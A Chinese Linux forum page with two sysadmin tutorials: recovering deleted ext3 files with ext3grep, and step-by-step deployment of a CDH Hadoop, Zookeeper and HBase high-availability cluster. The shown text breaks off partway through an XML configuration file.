Linux恢复删除文件神器「ext3grep」

开源技术chris 发表了文章 • 0 个评论 • 176 次浏览 • 2016-11-08 00:55 • 来自相关话题

有时候我们经常会不小心误删除Linux下的文件,那有什么办法可以恢复呢?删除文件后有点担心不能恢复,现在不用怕了,有这个工具就可以了,很好用的。
 

一、下载工具

# cd /usr/local/src
# wget http://ext3grep.googlecode.com/files/ext3grep-0.6.0.tar.gz

二、安装

1、检查安装依赖包
先检查下这三个包是否已经安装,没有的话先安装下,检查有没有安装gcc  c++工具是否安装
# rpm -qa |grep e2fs
e2fsprogs-devel-1.39-23.el5
e2fsprogs-libs-1.39-23.el5
e2fsprogs-1.39-23.el5

# yum install c++* -y# cd /usr/local/src
# tar xzvf ext3grep-0.6.0.tar.gz
# cd ext3grep-0.6.0
# ./configure && make && make install

三、测试

编译安装完成后就可以使用这个工具了# ext3grep -v
Running ext3grep version 0.6.0
ext3grep v0.10.1, Copyright (C) 2008 Carlo Wood.
ext3grep comes with ABSOLUTELY NO WARRANTY;
This program is free software; your freedom to use, change
and distribute this program is protected by the GPL.下面测试下恢复效果
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 47G 2.3G 43G 6% /
/dev/sda3 487M 11M 451M 3% /home
/dev/sda1 190M 12M 169M 7% /boot
/dev/sdb9 100G 0 100G 0% /mnt使用/dev/sdb9来做测试
# cd /mnt
# cp /etc/dhcp6c.conf .
# cp -r /etc/yum.repos.d .
# ll
total 14
-rw-r--r-- 1 root root 178 Jan 22 23:58 dhcp6c.conf
drwx------ 2 root root 12288 Jan 22 22:52 lost+found
drw-r--r-- 1 root root 346 Jan 22 23:59 yum.repos.d
# rm -rf *
# ls
#
* 现在将 /mnt下的东西都删掉了进行恢复
1、执行这条命令查看删除的所有文件
# ext3grep /dev/sdb9 --ls --inode 22、恢复单个文件
# ext3grep /dev/sdb9 --restore-file dhcp6c.conf
Running ext3grep version 0.6.0
Number of groups: 13
Minimum / maximum journal block: 526 / 4640
Loading journal descriptors... sorting... done
N umber of descriptors in journal: 828; min / max sequence numbers: 2 / 4
Loading sdb9.ext3grep.stage2.... done
Restoring dhcp6c.conf3、恢复的文件放在RESTORED_FILES目录
# cd RESTORED_FILES/
# ls
dhcp6c.conf4、恢复所有文件
# ext3grep /dev/sdb9 --restore-all编辑恢复的文件[root@test RESTORED_FILES]# vi dhcp6c.conf
#
# See dhcp6c.conf(5) man page for details.
#
#interface eth0 {
# #information-only;
# send rapid-commit;
# request prefix-delegation;
# #request temp-address;
#}; 查看全部
有时候我们经常会不小心误删除Linux下的文件,那有什么办法可以恢复呢?删除文件后有点担心不能恢复,现在不用怕了,有这个工具就可以了,很好用的。
 


一、下载工具


# cd /usr/local/src
# wget http://ext3grep.googlecode.com/files/ext3grep-0.6.0.tar.gz


二、安装


1、检查安装依赖包
先检查下这三个包是否已经安装,没有的话先安装下,检查有没有安装gcc  c++工具是否安装
# rpm -qa |grep e2fs
e2fsprogs-devel-1.39-23.el5
e2fsprogs-libs-1.39-23.el5
e2fsprogs-1.39-23.el5

# yum install c++* -y
# cd /usr/local/src
# tar xzvf ext3grep-0.6.0.tar.gz
# cd ext3grep-0.6.0
# ./configure && make && make install


三、测试


编译安装完成后就可以使用这个工具了
# ext3grep -v
Running ext3grep version 0.6.0
ext3grep v0.10.1, Copyright (C) 2008 Carlo Wood.
ext3grep comes with ABSOLUTELY NO WARRANTY;
This program is free software; your freedom to use, change
and distribute this program is protected by the GPL.
下面测试下恢复效果
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 47G 2.3G 43G 6% /
/dev/sda3 487M 11M 451M 3% /home
/dev/sda1 190M 12M 169M 7% /boot
/dev/sdb9 100G 0 100G 0% /mnt
使用/dev/sdb9来做测试
# cd /mnt
# cp /etc/dhcp6c.conf .
# cp -r /etc/yum.repos.d .
# ll
total 14
-rw-r--r-- 1 root root 178 Jan 22 23:58 dhcp6c.conf
drwx------ 2 root root 12288 Jan 22 22:52 lost+found
drw-r--r-- 1 root root 346 Jan 22 23:59 yum.repos.d
# rm -rf *
# ls
#
* 现在将 /mnt下的东西都删掉了
进行恢复
1、执行这条命令查看删除的所有文件
# ext3grep /dev/sdb9 --ls --inode 2
2、恢复单个文件
# ext3grep /dev/sdb9 --restore-file dhcp6c.conf
Running ext3grep version 0.6.0
Number of groups: 13
Minimum / maximum journal block: 526 / 4640
Loading journal descriptors... sorting... done
N umber of descriptors in journal: 828; min / max sequence numbers: 2 / 4
Loading sdb9.ext3grep.stage2.... done
Restoring dhcp6c.conf
3、恢复的文件放在RESTORED_FILES目录
# cd RESTORED_FILES/
# ls
dhcp6c.conf
4、恢复所有文件
# ext3grep /dev/sdb9 --restore-all
编辑恢复的文件
[root@test RESTORED_FILES]# vi dhcp6c.conf
#
# See dhcp6c.conf(5) man page for details.
#
#interface eth0 {
# #information-only;
# send rapid-commit;
# request prefix-delegation;
# #request temp-address;
#};

CDH Hadoop + HBase HA 部署详解

大数据/云计算采菊篱下 发表了文章 • 0 个评论 • 305 次浏览 • 2016-11-07 21:07 • 来自相关话题

CDH 的部署和 Apache Hadoop 的部署是没有任何区别的。这里着重的是 HA的部署,需要特殊说明的是NameNode HA 需要依赖 Zookeeper
 

准备

Hosts文件配置:
cat > /etc/hosts << _HOSTS_
127.0.0.1 localhost
10.0.2.59 cdh-m1
10.0.2.60 cdh-m2
10.0.2.61 cdh-s1
_HOSTS_各个节点服务情况
cdh-m1 Zookeeper JournalNode NameNode DFSZKFailoverController HMaster
cdh-m2 Zookeeper JournalNode NameNode DFSZKFailoverController HMaster
cdh-s1 Zookeeper JournalNode DataNode HRegionServer对几个新服务说明下: 
JournalNode 用于同步 NameNode 元数据,和 Zookeeper 一样需要 2N+1个节点存活集群才可用。DFSZKFailoverController(ZKFC) 用于主备切换,类似 Keepalived 所扮演的角色。
 
NTP 服务
设置时区
rm -f /etc/localtime
ln -s /usr/share/zoneinfo/UTC /etc/localtime配置NTP Server
yum install -y ntp
cat > /etc/ntp.conf << _NTP_
driftfile /var/lib/ntp/drift

restrict default nomodify
restrict -6 default nomodify

server cn.ntp.org.cn prefer
server news.neu.edu.cn iburst
server dns.sjtu.edu.cn iburst
server 127.127.1.1 iburst

tinker dispersion 100
tinker step 1800
tinker stepout 3600
includefile /etc/ntp/crypto/pw

keys /etc/ntp/keys
_NTP_

# NTP启动时立即同步
cat >> /etc/ntp/step-tickers << _NTP_
server cn.ntp.org.cn prefer
server news.neu.edu.cn iburst
server dns.sjtu.edu.cn iburst
_NTP_

# 同步硬件时钟
cat >> /etc/sysconfig/ntpd << _NTPHW_
SYNC_HWCLOCK=yes
_NTPHW_启动并设置开机自启动
/etc/init.d/ntpd start
chkconfig ntpd on配置 NTP Client
yum install -y ntp
# 注意修改内网NTP Server地址
cat > /etc/ntp.conf << _NTP_
driftfile /var/lib/ntp/drift

restrict default nomodify
restrict -6 default nomodify

restrict 127.0.0.1
restrict -6 ::1

server 10.0.2.59 prefer

tinker dispersion 100
tinker step 1800
tinker stepout 3600
includefile /etc/ntp/crypto/pw

keys /etc/ntp/keys
_NTP_

# NTP启动时立即同步
cat >> /etc/ntp/step-tickers << _NTP_
server 10.0.2.59 prefer
_NTP_

# 同步硬件时钟
cat >> /etc/sysconfig/ntpd << _NTPHW_
SYNC_HWCLOCK=yes
_NTPHW_启动并设置开机自启动
/etc/init.d/ntpd start
chkconfig ntpd on检查 NTP 同步
ntpq -p

# 结果
remote refid st t when poll reach delay offset jitter
==============================================================================
*time7.aliyun.co 10.137.38.86 2 u 17 64 3 44.995 5.178 0.177
news.neu.edu.cn .INIT. 16 u - 64 0 0.000 0.000 0.000
202.120.2.90 .INIT. 16 u - 64 0 0.000 0.000 0.000JDK
创建目录
mkdir -p /data/{install,app,logs,pid,appData}
mkdir /data/appData/tmpcd /data/install
wget -c http://oracle.com/jdk-7u51-linux-x64.gz
tar xf jdk-7u51-linux-x64.gz -C /data/app
cd /data/app
ln -s jdk1.7.0_51 jdk1.7
cat >> /etc/profile << _PATH_
export JAVA_HOME=/data/app/jdk1.7
export CLASSPATH=.:\$JAVA_HOME/lib/dt.jar:\$JAVA_HOME/lib/tools.jar
export PATH=\$JAVA_HOME/bin:\$PATH
_PATH_
source /etc/profile
创建运行账户
useradd -u 600 run安装包
http://archive.cloudera.com/cdh5/cdh/5/
cd /data/install
wget -c http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.4.5.tar.gz
wget -c http://archive.apache.org/dist/zookeeper/zookeeper-3.4.5/zookeeper-3.4.5.tar.gz
wget -c http://archive.cloudera.com/cdh5/cdh/5/hbase-1.0.0-cdh5.4.5.tar.gz

安装 Zookeeper

cd /data/install
tar xf zookeeper-3.4.5.tar.gz -C /data/app
cd /data/app
ln -s zookeeper-3.4.5 zookeeper设置环境变量
sed -i '/^export PATH=/i\export ZOOKEEPER_HOME=/data/app/zookeeper' /etc/profile
sed -i 's#export PATH=#&\$ZOOKEEPER_HOME/bin:#' /etc/profile
source /etc/profile删除无用文件
cd $ZOOKEEPER_HOME
rm -rf *xml *txt zookeeper-3.4.5.jar.* src recipes docs dist-maven contrib
rm -f $ZOOKEEPER_HOME/bin/*.cmd $ZOOKEEPER_HOME/bin/*.txt
rm -f $ZOOKEEPER_HOME/conf/zoo_sample.cfg创建数据目录
mkdir -p /data/appData/zookeeper/{data,logs}配置
cat > $ZOOKEEPER_HOME/conf/zoo.cfg << _ZOO_
tickTime=2000
initLimit=10
syncLimit=5
clientPort=2181
dataDir=/data/appData/zookeeper/data
dataLogDir=/data/appData/zookeeper/logs
server.1=cdh-m1:2888:3888
server.2=cdh-m2:2888:3888
server.3=cdh-s1:2888:3888
_ZOO_修改Zookeeper的日志打印方式,与日志路径设置
编辑
$ZOOKEEPER_HOME/bin/zkEnv.sh在27行后加入两个变量
ZOO_LOG_DIR=/data/logs/zookeeper
ZOO_LOG4J_PROP="INFO,ROLLINGFILE"创建 myid文件
# 注意myid与配置文件保持一致
echo 1 >/data/appData/zookeeper/data/myid设置目录权限
chown -R run.run /data/{app,appData,logs}启动、停止
# 启动
runuser - run -c 'zkServer.sh start'
# 停止
runuser - run -c 'zkServer.sh stop'

安装 Hadoop

tar xf hadoop-2.6.0-cdh5.4.5.tar.gz -C /data/app
cd /data/app
ln -s hadoop-2.6.0-cdh5.4.5 hadoop设置环境变量
sed -i '/^export PATH=/i\export HADOOP_HOME=/data/app/hadoop' /etc/profile
sed -i 's#export PATH=#&\$HADOOP_HOME/bin:\$HADOOP_HOME/sbin:#' /etc/profile
source /etc/profile删除无用文件
cd $HADOOP_HOME
rm -rf *txt share/doc src examples* include bin-mapreduce1 cloudera
find . -name "*.cmd"|xargs rm -f新建数据目录
mkdir -p /data/appData/hdfs/{name,edits,data,jn,tmp}配置
切换到配置文件目录
cd $HADOOP_HOME/etc/hadoop编辑 core-site.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- HDFS 集群名称,可指定端口 -->
<property>
<name>fs.defaultFS</name>
<value>hdfs://hdfs-cdh</value>
</property>

<!-- 临时文件目录 -->
<property>
<name>hadoop.tmp.dir</name>
<value>/data/appData/hdfs/tmp</value>
</property>

<!-- 回收站设置,0不启用回收站,1440 表示1440分钟后删除 -->
<property>
<name>fs.trash.interval</name>
<value>1440</value>
</property>

<!-- SequenceFiles在读写中可以使用的缓存大小,单位 bytes 默认 4096 -->
<property>
<name>io.file.buffer.size</name>
<value>131072</value>
</property>

<!-- 可用压缩算法,启用在hdfs-site.xml中,需要编译动态链接库才能用 -->
<property>
<name>io.compression.codecs</name>
<value>org.apache.hadoop.io.compress.SnappyCodec</value>
</property>
</configuration>编辑 hdfs-site.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- 指定hdfs 集群名称,需要和core-site.xml中的保持一致 -->
<property>
<name>dfs.nameservices</name>
<value>hdfs-cdh</value>
</property>

<!-- 指定 Zookeeper 用于NameNode HA,默认官方配置在core-site.xml中,为了查看清晰配置到hdfs-site.xml也是可用的 -->
<property>
<name>ha.zookeeper.quorum</name>
<value>cdh-m1:2181,cdh-m2:2181,cdh-s1:2181</value>
</property>

<!-- hdfs-cdh 下有两个NameNode,分别为 nn1,nn2 -->
<property>
<name>dfs.ha.namenodes.hdfs-cdh</name>
<value>nn1,nn2</value>
</property>

<!-- nn1 RPC通信地址 -->
<property>
<name>dfs.namenode.rpc-address.hdfs-cdh.nn1</name>
<value>cdh-m1:9000</value>
</property>

<!-- nn1 HTTP通信地址 -->
<property>
<name>dfs.namenode.http-address.hdfs-cdh.nn1</name>
<value>cdh-m1:50070</value>
</property>

<!-- nn2 RPC通信地址 -->
<property>
<name>dfs.namenode.rpc-address.hdfs-cdh.nn2</name>
<value>cdh-m2:9000</value>
</property>

<!-- nn2 HTTP通信地址 -->
<property>
<name>dfs.namenode.http-address.hdfs-cdh.nn2</name>
<value>cdh-m2:50070</value>
</property>

<!-- 指定NameNode元数据在JournalNode上的存储路径 -->
<property>
<name>dfs.namenode.shared.edits.dir</name>
<value>qjournal://cdh-m1:8485;cdh-m2:8485;cdh-s1:8485;/hdfs-cdh</value>
</property>

<!-- 开启NameNode失败自动切换 -->
<property>
<name>dfs.ha.automatic-failover.enabled</name>
<value>true</value>
</property>

<!-- 配置主备切换实现方式 -->
<property>
<name>dfs.client.failover.proxy.provider.hdfs-cdh</name>
<value>org.apache.hadoop.hdfs.server.namenode.ha.ConfiguredFailoverProxyProvider</value>
</property>

<!-- 配置主备切换方法,每个方法一行-->
<property>
<name>dfs.ha.fencing.methods</name>
<value>
sshfence
shell(/bin/true)
</value>
</property>

<!-- 指定运行用户的秘钥,需要NameNode双向免密码登录,用于主备自动切换 -->
<property>
<name>dfs.ha.fencing.ssh.private-key-files</name>
<value>/home/run/.ssh/id_rsa</value>
</property>

<!-- 配置sshfence 超时时间 -->
<property>
<name>dfs.ha.fencing.ssh.connect-timeout</name>
<value>50000</value>
</property>

<!-- NameNode 数据本地存储路径 -->
<property>
<name>dfs.namenode.name.dir</name>
<value>/data/appData/hdfs/name</value>
</property>

<!-- DataNode 数据本地存储路径 -->
<property>
<name>dfs.datanode.data.dir</name>
<value>/data/appData/hdfs/data</value>
</property>

<!-- JournalNode 数据本地存储路径 -->
<property>
<name>dfs.journalnode.edits.dir</name>
<value>/data/appData/hdfs/jn</value>
</property>

<!-- 修改文件存储到edits,定期同步到DataNode -->
<property>
<name>dfs.namenode.edits.noeditlogchannelflush</name>
<value>true</value>
</property>

<!-- edits 数据本地存储路径 -->
<property>
<name>dfs.namenode.edits.dir</name>
<value>/data/appData/hdfs/edits</value>
</property>

<!-- 开启Block Location metadata允许impala知道数据块在哪块磁盘上 默认关闭 -->
<property>
<name>dfs.datanode.hdfs-blocks-metadata.enabled</name>
<value>true</value>
</property>

<!-- 权限检查 默认开启 -->
<property>
<name>dfs.permissions.enabled</name>
<value>false</value>
</property>

<!-- block 大小设置 -->
<property>
<name>dfs.blocksize</name>
<value>64m</value>
</property>
</configuration>小于5个DataNode建议添加如下配置
<!-- 数据副本数量,不能超过DataNode数量,大集群建议使用默认值 默认 3 -->
<property>
<name>dfs.replication</name>
<value>2</value>
</property>

<!-- 当副本写入失败时不分配新节点,小集群适用 -->
<property>
<name>dfs.client.block.write.replace-datanode-on-failure.policy</name>
<value>NEVER</value>
</property>在 hadoop-env.sh 中添加如下变量
export JAVA_HOME=/data/app/jdk1.7
export HADOOP_LOG_DIR=/data/logs/hadoop
export HADOOP_PID_DIR=/data/pid
# SSH端口 可选
export HADOOP_SSH_OPTS="-p 36000"Heap 设置,单位 MB
export HADOOP_HEAPSIZE=1024权限设置
chown -R run.run /data/{app,appData,logs}
chmod 777 /data/pid格式化
格式化只需要执行一次,格式化之前启动Zookeeper
 
切换用户
su - run启动所有 JournalNode
hadoop-daemon.sh start journalnode格式化 Zookeeper(为 ZKFC 创建znode)
hdfs zkfc -formatZKNameNode 主节点格式化并启动
hdfs namenode -format
hadoop-daemon.sh start namenodeNameNode 备节点同步数据并启动
hdfs namenode -bootstrapStandby
hadoop-daemon.sh start namenode启动 ZKFC
hadoop-daemon.sh start zkfc启动 DataNode
hadoop-daemon.sh start datanode启动与停止
切换用户
su - run集群批量启动
需要配置运行用户ssh-key免密码登录,与$HADOOP_HOME/etc/hadoop/slaves
# 启动
start-dfs.sh
# 停止
stop-dfs.sh单服务启动停止
启动HDFS
hadoop-daemon.sh start journalnode
hadoop-daemon.sh start namenode
hadoop-daemon.sh start zkfc
hadoop-daemon.sh start datanode停止HDFS
hadoop-daemon.sh stop datanode
hadoop-daemon.sh stop namenode
hadoop-daemon.sh stop journalnode
hadoop-daemon.sh stop zkfc
测试
HDFS HA 测试
打开 NameNode 状态页:
http://cdh-m1:50010
http://cdh-m2:50010 

在 Overview 后面能看见 active 或 standby,active 为当前 Master,停止 active 上的 NameNode,检查 standby是否为 active。
 
HDFS 测试
hadoop fs -mkdir /test
hadoop fs -put /etc/hosts /test
hadoop fs -ls /test结果:
-rw-r--r-- 2 java supergroup 89 2016-06-15 10:30 /test/hosts
# 其中权限后面的列(这里的2)代表文件总数,即副本数量。HDFS 管理命令
# 动态加载 hdfs-site.xml
hadoop dfsadmin -refreshNodes

HBase安装配置

cd /data/install
tar xf hbase-1.0.0-cdh5.4.5.tar.gz -C /data/app
cd /data/app
ln -s hbase-1.0.0-cdh5.4.5 hbase设置环境变量
sed -i '/^export PATH=/i\export HBASE_HOME=/data/app/hbase' /etc/profile
sed -i 's#export PATH=#&\$HBASE_HOME/bin:#' /etc/profile
source /etc/profile删除无用文件
cd $HBASE_HOME
rm -rf *.txt pom.xml src docs cloudera dev-support hbase-annotations hbase-assembly hbase-checkstyle hbase-client hbase-common hbase-examples hbase-hadoop2-compat hbase-hadoop-compat hbase-it hbase-prefix-tree hbase-protocol hbase-rest hbase-server hbase-shell hbase-testing-util hbase-thrift
find . -name "*.cmd"|xargs rm -f配置
进入配置文件目录
cd $HBASE_HOME/conf编辑 hbase-site.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- HBase 数据存储路径 -->
<property>
<name>hbase.rootdir</name>
<value>hdfs://hdfs-cdh/hbase</value>
</property>

<!-- 完全分布式模式 -->
<property>
<name>hbase.cluster.distributed</name>
<value>true</value>
</property>

<!-- HMaster 节点 -->
<property>
<name>hbase.master</name>
<value>cdh-m1:60000,cdh-m2:60000</value>
</property>

<!-- Zookeeper 节点 -->
<property>
<name>hbase.zookeeper.quorum</name>
<value>cdh-m1:2181,cdh-m2:2181,cdh-s1:2181</value>
</property>

<!-- znode 路径,Zookeeper集群中有多个HBase集群需要设置不同znode -->
<property>
<name>zookeeper.znode.parent</name>
<value>/hbase</value>
</property>

<!-- HBase 协处理器 -->
<property>
<name>hbase.coprocessor.user.region.classes</name>
<value>org.apache.hadoop.hbase.coprocessor.AggregateImplementation</value>
</property>
</configuration>在 hbase-env.sh 中添加如下变量
export JAVA_HOME=/data/app/jdk1.7
export HBASE_LOG_DIR=/data/logs/hbase
export HBASE_PID_DIR=/data/pid
export HBASE_MANAGES_ZK=false
# SSH 默认端口 可选
export HBASE_SSH_OPTS="-o ConnectTimeout=1 -p 36000"Heap 设置,单位 MB
export HBASE_HEAPSIZE=1024可选设置 regionservers 中添加所有RegionServer主机名,用于集群批量启动、停止
 
启动与停止
切换用户
su - run集群批量启动
需要配置运行用户ssh-key免密码登录,与$HBASE_HOME/conf/regionservers
# 启动
start-hbase.sh
# 停止
stop-hbase.sh单服务启动停止
HMaster
# 启动
hbase-daemon.sh start master
# 停止
hbase-daemon.sh stop masterHRegionServer
# 启动
hbase-daemon.sh start regionserver
# 停止
hbase-daemon.sh stop regionserver
测试
HBase HA 测试
浏览器打开两个HMaster状态页:
http://cdh-m1:60010
http://cdh-m2:60010 

可以在Master后面看见其中一个主机名,Backup Masters中看见另一个。
停止当前Master,刷新另一个HMaster状态页会发现Master后面已经切换,HA成功。
 
HBase 测试
进入hbase shell 执行:
create 'users','user_id','address','info'
list
put 'users','anton','info:age','24'
get 'users','anton'

# 最终结果
COLUMN CELL
info:age timestamp=1465972035945, value=24
1 row(s) in 0.0170 seconds清除测试数据:
disable 'users'
drop 'users'到这里安装就全部完成,不懂的地方可以留言交流! 查看全部
hadoop.jpg

CDH 的部署和 Apache Hadoop 的部署是没有任何区别的。这里着重的是 HA的部署,需要特殊说明的是NameNode HA 需要依赖 Zookeeper
 


准备


Hosts文件配置:
cat > /etc/hosts << _HOSTS_
127.0.0.1 localhost
10.0.2.59 cdh-m1
10.0.2.60 cdh-m2
10.0.2.61 cdh-s1
_HOSTS_
各个节点服务情况
cdh-m1 Zookeeper JournalNode NameNode DFSZKFailoverController HMaster
cdh-m2 Zookeeper JournalNode NameNode DFSZKFailoverController HMaster
cdh-s1 Zookeeper JournalNode DataNode HRegionServer
对几个新服务说明下: 
  • JournalNode 用于同步 NameNode 元数据,和 Zookeeper 一样需要 2N+1个节点存活集群才可用。
  • DFSZKFailoverController(ZKFC) 用于主备切换,类似 Keepalived 所扮演的角色。

 
NTP 服务
设置时区
rm -f /etc/localtime
ln -s /usr/share/zoneinfo/UTC /etc/localtime
配置NTP Server
yum install -y ntp
cat > /etc/ntp.conf << _NTP_
driftfile /var/lib/ntp/drift

restrict default nomodify
restrict -6 default nomodify

server cn.ntp.org.cn prefer
server news.neu.edu.cn iburst
server dns.sjtu.edu.cn iburst
server 127.127.1.1 iburst

tinker dispersion 100
tinker step 1800
tinker stepout 3600
includefile /etc/ntp/crypto/pw

keys /etc/ntp/keys
_NTP_

# NTP启动时立即同步
cat >> /etc/ntp/step-tickers << _NTP_
server cn.ntp.org.cn prefer
server news.neu.edu.cn iburst
server dns.sjtu.edu.cn iburst
_NTP_

# 同步硬件时钟
cat >> /etc/sysconfig/ntpd << _NTPHW_
SYNC_HWCLOCK=yes
_NTPHW_
启动并设置开机自启动
/etc/init.d/ntpd start
chkconfig ntpd on
配置 NTP Client
yum install -y ntp
# 注意修改内网NTP Server地址
cat > /etc/ntp.conf << _NTP_
driftfile /var/lib/ntp/drift

restrict default nomodify
restrict -6 default nomodify

restrict 127.0.0.1
restrict -6 ::1

server 10.0.2.59 prefer

tinker dispersion 100
tinker step 1800
tinker stepout 3600
includefile /etc/ntp/crypto/pw

keys /etc/ntp/keys
_NTP_

# NTP启动时立即同步
cat >> /etc/ntp/step-tickers << _NTP_
server 10.0.2.59 prefer
_NTP_

# 同步硬件时钟
cat >> /etc/sysconfig/ntpd << _NTPHW_
SYNC_HWCLOCK=yes
_NTPHW_
启动并设置开机自启动
/etc/init.d/ntpd start
chkconfig ntpd on
检查 NTP 同步
ntpq -p

# 结果
remote refid st t when poll reach delay offset jitter
==============================================================================
*time7.aliyun.co 10.137.38.86 2 u 17 64 3 44.995 5.178 0.177
news.neu.edu.cn .INIT. 16 u - 64 0 0.000 0.000 0.000
202.120.2.90 .INIT. 16 u - 64 0 0.000 0.000 0.000
JDK
创建目录
mkdir -p /data/{install,app,logs,pid,appData}
mkdir /data/appData/tmp
cd /data/install
wget -c http://oracle.com/jdk-7u51-linux-x64.gz
tar xf jdk-7u51-linux-x64.gz -C /data/app
cd /data/app
ln -s jdk1.7.0_51 jdk1.7
cat >> /etc/profile << _PATH_
export JAVA_HOME=/data/app/jdk1.7
export CLASSPATH=.:\$JAVA_HOME/lib/dt.jar:\$JAVA_HOME/lib/tools.jar
export PATH=\$JAVA_HOME/bin:\$PATH
_PATH_
source /etc/profile

创建运行账户
useradd -u 600 run
安装包
http://archive.cloudera.com/cdh5/cdh/5/
cd /data/install
wget -c http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.4.5.tar.gz
wget -c http://archive.apache.org/dist/zookeeper/zookeeper-3.4.5/zookeeper-3.4.5.tar.gz
wget -c http://archive.cloudera.com/cdh5/cdh/5/hbase-1.0.0-cdh5.4.5.tar.gz


安装 Zookeeper


cd /data/install
tar xf zookeeper-3.4.5.tar.gz -C /data/app
cd /data/app
ln -s zookeeper-3.4.5 zookeeper
设置环境变量
sed -i '/^export PATH=/i\export ZOOKEEPER_HOME=/data/app/zookeeper' /etc/profile
sed -i 's#export PATH=#&\$ZOOKEEPER_HOME/bin:#' /etc/profile
source /etc/profile
删除无用文件
cd $ZOOKEEPER_HOME
rm -rf *xml *txt zookeeper-3.4.5.jar.* src recipes docs dist-maven contrib
rm -f $ZOOKEEPER_HOME/bin/*.cmd $ZOOKEEPER_HOME/bin/*.txt
rm -f $ZOOKEEPER_HOME/conf/zoo_sample.cfg
创建数据目录
mkdir -p /data/appData/zookeeper/{data,logs}
配置
cat > $ZOOKEEPER_HOME/conf/zoo.cfg << _ZOO_
tickTime=2000
initLimit=10
syncLimit=5
clientPort=2181
dataDir=/data/appData/zookeeper/data
dataLogDir=/data/appData/zookeeper/logs
server.1=cdh-m1:2888:3888
server.2=cdh-m2:2888:3888
server.3=cdh-s1:2888:3888
_ZOO_
修改Zookeeper的日志打印方式,与日志路径设置
编辑
$ZOOKEEPER_HOME/bin/zkEnv.sh
在27行后加入两个变量
ZOO_LOG_DIR=/data/logs/zookeeper
ZOO_LOG4J_PROP="INFO,ROLLINGFILE"
创建 myid文件
# 注意myid与配置文件保持一致
echo 1 >/data/appData/zookeeper/data/myid
设置目录权限
chown -R run.run /data/{app,appData,logs}
启动、停止
# 启动
runuser - run -c 'zkServer.sh start'
# 停止
runuser - run -c 'zkServer.sh stop'


安装 Hadoop


tar xf hadoop-2.6.0-cdh5.4.5.tar.gz -C /data/app
cd /data/app
ln -s hadoop-2.6.0-cdh5.4.5 hadoop
设置环境变量
sed -i '/^export PATH=/i\export HADOOP_HOME=/data/app/hadoop' /etc/profile
sed -i 's#export PATH=#&\$HADOOP_HOME/bin:\$HADOOP_HOME/sbin:#' /etc/profile
source /etc/profile
删除无用文件
cd $HADOOP_HOME
rm -rf *txt share/doc src examples* include bin-mapreduce1 cloudera
find . -name "*.cmd"|xargs rm -f
新建数据目录
mkdir -p /data/appData/hdfs/{name,edits,data,jn,tmp}
配置
切换到配置文件目录
cd $HADOOP_HOME/etc/hadoop
编辑 core-site.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- HDFS 集群名称,可指定端口 -->
<property>
<name>fs.defaultFS</name>
<value>hdfs://hdfs-cdh</value>
</property>

<!-- 临时文件目录 -->
<property>
<name>hadoop.tmp.dir</name>
<value>/data/appData/hdfs/tmp</value>
</property>

<!-- 回收站设置,0不启用回收站,1440 表示1440分钟后删除 -->
<property>
<name>fs.trash.interval</name>
<value>1440</value>
</property>

<!-- SequenceFiles在读写中可以使用的缓存大小,单位 bytes 默认 4096 -->
<property>
<name>io.file.buffer.size</name>
<value>131072</value>
</property>

<!-- 可用压缩算法,启用在hdfs-site.xml中,需要编译动态链接库才能用 -->
<property>
<name>io.compression.codecs</name>
<value>org.apache.hadoop.io.compress.SnappyCodec</value>
</property>
</configuration>
编辑 hdfs-site.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- 指定hdfs 集群名称,需要和core-site.xml中的保持一致 -->
<property>
<name>dfs.nameservices</name>
<value>hdfs-cdh</value>
</property>

<!-- 指定 Zookeeper 用于NameNode HA,默认官方配置在core-site.xml中,为了查看清晰配置到hdfs-site.xml也是可用的 -->
<property>
<name>ha.zookeeper.quorum</name>
<value>cdh-m1:2181,cdh-m2:2181,cdh-s1:2181</value>
</property>

<!-- hdfs-cdh 下有两个NameNode,分别为 nn1,nn2 -->
<property>
<name>dfs.ha.namenodes.hdfs-cdh</name>
<value>nn1,nn2</value>
</property>

<!-- nn1 RPC通信地址 -->
<property>
<name>dfs.namenode.rpc-address.hdfs-cdh.nn1</name>
<value>cdh-m1:9000</value>
</property>

<!-- nn1 HTTP通信地址 -->
<property>
<name>dfs.namenode.http-address.hdfs-cdh.nn1</name>
<value>cdh-m1:50070</value>
</property>

<!-- nn2 RPC通信地址 -->
<property>
<name>dfs.namenode.rpc-address.hdfs-cdh.nn2</name>
<value>cdh-m2:9000</value>
</property>

<!-- nn2 HTTP通信地址 -->
<property>
<name>dfs.namenode.http-address.hdfs-cdh.nn2</name>
<value>cdh-m2:50070</value>
</property>

<!-- 指定NameNode元数据在JournalNode上的存储路径 -->
<property>
<name>dfs.namenode.shared.edits.dir</name>
<value>qjournal://cdh-m1:8485;cdh-m2:8485;cdh-s1:8485;/hdfs-cdh</value>
</property>

<!-- 开启NameNode失败自动切换 -->
<property>
<name>dfs.ha.automatic-failover.enabled</name>
<value>true</value>
</property>

<!-- 配置主备切换实现方式 -->
<property>
<name>dfs.client.failover.proxy.provider.hdfs-cdh</name>
<value>org.apache.hadoop.hdfs.server.namenode.ha.ConfiguredFailoverProxyProvider</value>
</property>

<!-- 配置主备切换方法,每个方法一行-->
<property>
<name>dfs.ha.fencing.methods</name>
<value>
sshfence
shell(/bin/true)
</value>
</property>

<!-- 指定运行用户的秘钥,需要NameNode双向免密码登录,用于主备自动切换 -->
<property>
<name>dfs.ha.fencing.ssh.private-key-files</name>
<value>/home/run/.ssh/id_rsa</value>
</property>

<!-- 配置sshfence 超时时间 -->
<property>
<name>dfs.ha.fencing.ssh.connect-timeout</name>
<value>50000</value>
</property>

<!-- NameNode 数据本地存储路径 -->
<property>
<name>dfs.namenode.name.dir</name>
<value>/data/appData/hdfs/name</value>
</property>

<!-- DataNode 数据本地存储路径 -->
<property>
<name>dfs.datanode.data.dir</name>
